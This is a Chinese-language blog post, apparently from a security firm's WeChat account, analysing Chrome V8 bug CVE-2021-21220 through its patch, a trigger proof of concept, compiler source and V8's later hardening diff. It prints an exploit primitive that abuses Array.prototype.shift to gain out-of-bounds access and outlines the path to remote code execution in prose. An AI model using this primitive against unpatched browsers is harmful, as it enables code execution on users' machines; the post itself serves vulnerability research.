一切的起点
在4月13日，一位大佬放出来一个chrome的0day而在最新版的v8上，该poc无法触发漏洞，故可能是chrome的最新版尚未更新的漏洞，而当天chrome也释放了最新版，从致谢中可以看到：
[$TBD][1196781] High CVE-2021-21206: Use after free in Blink. Reported by Anonymous on 2021-04-07[$N/A][1196683] High CVE-2021-21220: Insufficient validation of untrusted input in V8 for x86_64. Reported by Bruno Keith (@bkth_) & Niklas Baumstark (@_niklasb) of Dataflow Security (@dfsec_it) via ZDI (ZDI-CAN-13569) on 2021-04-07
漏洞分析
02f84c745fc0cae5927a66dc4a3e81334e8f60a6 ，通过diff，可以快速的定位到patch代码：
从patch中可以看出，该漏洞是因为使用了无符号扩展所导致。
通过对exp的简单的分析，构造poc如下：
const _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;return x;}%PrepareFunctionForOptimization(foo);console.log(foo(true));%OptimizeFunctionOnNextCall(foo);console.log(foo(true));
-21474836472147483649
为了进一步分析漏洞成因，可以通过–trace-turbo将优化的中间过程打出来。
template <typename WordNAdapter>Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {using A = WordNAdapter;A a(this);typename A::IntNBinopMatcher m(node);if (m.right().Is(0)) return Replace(m.left().node()); // x ^ 0 => xif (m.IsFoldable()) { // K ^ K => Kreturn a.ReplaceIntN(m.left().Value() ^ m.right().Value());}if (m.LeftEqualsRight()) return ReplaceInt32(0); // x ^ x => 0if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {typename A::IntNBinopMatcher mleft(m.left().node());if (mleft.right().Is(-1)) { // (x ^ -1) ^ -1 => xreturn Replace(mleft.left().node());}}return a.TryMatchWordNRor(node);}Reduction MachineOperatorReducer::ReduceWord32Xor(Node* node) {DCHECK_EQ(IrOpcode::kWord32Xor, node->opcode());return ReduceWordNXor<Word32Adapter>(node);}
从代码逻辑中可以看出，当检测到右值为0的时候，则会直接去除该节点，并且用左节点进行替换。在图中的表现为：
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {DCHECK_EQ(node->InputCount(), 1);Node* input = node->InputAt(0);if (input->opcode() == IrOpcode::kTruncateInt64ToInt32) {node->ReplaceInput(0, input->InputAt(0));}X64OperandGenerator g(this);Node* const value = node->InputAt(0);if (value->opcode() == IrOpcode::kLoad && CanCover(node, value)) {LoadRepresentation load_rep = LoadRepresentationOf(value->op());MachineRepresentation rep = load_rep.representation();InstructionCode opcode = kArchNop;switch (rep) {case MachineRepresentation::kBit: // Fall through.case MachineRepresentation::kWord8:opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;break;case MachineRepresentation::kWord16:opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;break;case MachineRepresentation::kWord32:opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;break;default:UNREACHABLE();return;}InstructionOperand outputs[] = {g.DefineAsRegister(node)};size_t input_count = 0;InstructionOperand inputs[3];AddressingMode mode = g.GetEffectiveAddressMemoryOperand(node->InputAt(0), inputs, &input_count);opcode |= AddressingModeField::encode(mode);Emit(opcode, 1, outputs, input_count, inputs);} else {Emit(kX64Movsxlq, g.DefineAsRegister(node), g.Use(node->InputAt(0)));}}
当输入节点是load的时候，则会根据输入节点的类型去选择不同的扩展方式，如果输入节点是无符号形，则会变成无符号形的扩展，而如果是有符号形，则会变成有符号的扩展。而poc中load是无符号形的，结果这里误用了无符号的扩展，导致poc在优化之后输出的结果为2**31 + 1 = 2147483649。
所以该漏洞是可以说是不正当的优化导致两个节点异常链接。也可以说是无论什么情况下，ChangeInt32ToInt64不该存在无符号的32位扩展导致的。而我更倾向于前者。
利用分析
function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}
当拿到该exp的时候，我十分好奇，到底是如何通过Array.Prototype.Shift构造出一个长度位-1的数组？通过对jit之后的代码进行追踪，我发现，该问题出现在Array.Prototype.Shift最后修改长度的位置，具体漏洞位置在如下IR中：
接下来开始我们的分析
而之所以会出现问题，主要是出现再typer的优化上面：
1、在优化阶段，Turbofan会去对部分节点进行预测，从而进一步优化jit的性能。而这些是Typer中的预测，此处不再进行赘述。通过Typer的预测，turbofan认为，x是一个为0的定值：
function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1; // x => -2147483647 ~ 2147483648x = Math.abs(x); // x => 0 ~ 2147483648x -= 2147483647; // x => -2147483647 ~ 1x = Math.max(x, 0); // x => 0 ~ 1x -= 1; // x => -1 ~ 0if(x==-1) x = 0; // x => -1 ~ 0var arr = new Array(x); // x => 0 ~ 0arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}
2、在接下来的LoadElimination优化中，Turbofan会对154号：LoadField[+12]进行优化，Turbofan会去找到对该处进行复制的位置，并进行替换，这里在优化之后会被替换为214号：CheckBounds（该处替换逻辑详见LoadElimination::ReduceLoadField函数）。
至此该处利用分析结束，其他RCE都是比较常规操作。在有oob之后便可以伪造一个任意读写的JSArray，再利用ArrayBuffer的backing store去写rwx段，最后rce。
但是任有一些问题，通过对Turbofan的研究发现，NumberEqual和NumberlessThanOrEqual是不会被优化掉的（或许被优化掉了，就不会有这个利用路径了）。
小计
在爆出漏洞之后两天，v8团队重拳出击，直接修了这一条利用路径，这是commit链接
（https://github.com/v8/v8/commit/d4aafa4022b718596b3deadcc3cdcb9209896154）
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.ccindex 1a56f79867..64fd85f481 100644--- a/src/compiler/js-call-reducer.cc+++ b/src/compiler/js-call-reducer.cc@@ -5393,24 +5393,31 @@ Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {}// Compute the new {length}.- length = graph()->NewNode(simplified()->NumberSubtract(), length,- jsgraph()->OneConstant());+ Node* new_length = graph()->NewNode(simplified()->NumberSubtract(),+ length, jsgraph()->OneConstant());++ // This extra check exists solely to break an exploitation technique+ // that abuses typer mismatches.+ new_length = efalse = graph()->NewNode(+ simplified()->CheckBounds(p.feedback(),+ CheckBoundsFlag::kAbortOnOutOfBounds),+ new_length, length, efalse, if_false);// Store the new {length} to the {receiver}.efalse = graph()->NewNode(simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),- receiver, length, efalse, if_false);+ receiver, new_length, efalse, if_false);// Load the last entry from the {elements}.vfalse = efalse = graph()->NewNode(simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),- elements, length, efalse, if_false);+ elements, new_length, efalse, if_false);// Store a hole to the element we just removed from the {receiver}.efalse = graph()->NewNode(simplified()->StoreElement(AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),- elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);+ elements, new_length, jsgraph()->TheHoleConstant(), efalse, if_false);}control = graph()->NewNode(common()->Merge(2), if_true, if_false);@@ -5586,19 +5593,27 @@ Reduction JSCallReducer::ReduceArrayPrototypeShift(Node* node) {}// Compute the new {length}.- length = graph()->NewNode(simplified()->NumberSubtract(), length,- jsgraph()->OneConstant());+ Node* new_length = graph()->NewNode(simplified()->NumberSubtract(),+ length, jsgraph()->OneConstant());++ // This extra check exists solely to break an exploitation technique+ // that abuses typer mismatches.+ new_length = etrue1 = graph()->NewNode(+ simplified()->CheckBounds(p.feedback(),+ CheckBoundsFlag::kAbortOnOutOfBounds),+ new_length, length, etrue1, if_true1);// Store the new {length} to the {receiver}.etrue1 = graph()->NewNode(simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),- receiver, length, etrue1, if_true1);+ receiver, new_length, etrue1, if_true1);// Store a hole to the element we just removed from the {receiver}.etrue1 = graph()->NewNode(simplified()->StoreElement(AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),- elements, length, jsgraph()->TheHoleConstant(), etrue1, if_true1);+ elements, new_length, jsgraph()->TheHoleConstant(), etrue1,+ if_true1);}Node* if_false1 = graph()->NewNode(common()->IfFalse(), branch1);
往期 · 推荐
原文始发于微信公众号（星阑科技）：【技术干货】Chrome-CVE-2021-21220
